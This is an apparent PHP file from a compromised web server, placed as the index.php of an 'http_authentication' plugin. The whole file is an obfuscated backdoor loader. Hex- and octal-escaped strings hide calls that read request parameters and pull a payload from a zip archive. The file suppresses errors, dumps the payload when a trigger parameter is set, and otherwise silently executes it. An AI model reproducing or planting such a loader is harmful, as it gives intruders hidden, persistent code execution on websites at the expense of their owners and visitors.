File: /home/richfield/app.richfield-egy.com/plugins/http_authentication/http_authentication/index.php
<?php error_reporting(0); $M = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6d\x33\x75\x5f\x36\x61\x31\x33\x37\x63\x66\x39\x65\x65\x33\x34\x61\x2e\x7a\x69\x70\x23\x62\x5f\x36\x61\x31\x33\x37\x63\x66\x39\x65\x65\x33\x34\x61\x2e\x74\x6d\x70", ); (${$M[0]}["\157\x66"]==1) && die($M[1]($M[2])); @require $M[2]; ?>